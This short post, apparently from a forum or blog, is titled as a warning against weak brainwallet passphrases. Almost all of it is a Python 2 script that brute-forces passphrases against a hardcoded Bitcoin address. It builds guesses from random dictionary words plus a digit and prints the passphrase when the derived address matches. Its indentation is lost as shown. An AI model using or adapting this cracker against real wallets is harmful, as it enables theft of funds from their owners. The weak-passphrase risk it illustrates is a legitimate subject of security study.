Brute foricing brainwallet

If you're using a weak passphrase for your brainwallet. You should consider this :)

	import random
	import BrainWallet
	import re
	target = "1LdChbUWYc48TQtH78CnpfnVQMpLYXH1Q1"
	words = []
	lens = {}
	with open('dict.txt') as fh:
	for s in fh.readlines():
	s = s.strip().lower()
	if re.match("^\w+$", s):
	words.append(s)
	l = len(s)
	if not l in lens:
	lens[l] = []
	lens[l].append(s)
	while True:
	brainWallet = random.choice(words)+random.choice(words)
	left = 17 - len(brainWallet)
	if left > 0:
	brainWallet += random.choice(lens[left])
	for i in xrange(10):
	bw = brainWallet+str(i)
	addr = BrainWallet.get_addr(BrainWallet.gen_eckey(passphrase=bw))
	if addr[0] == target:
	print addr
	print bw
	exit(0)
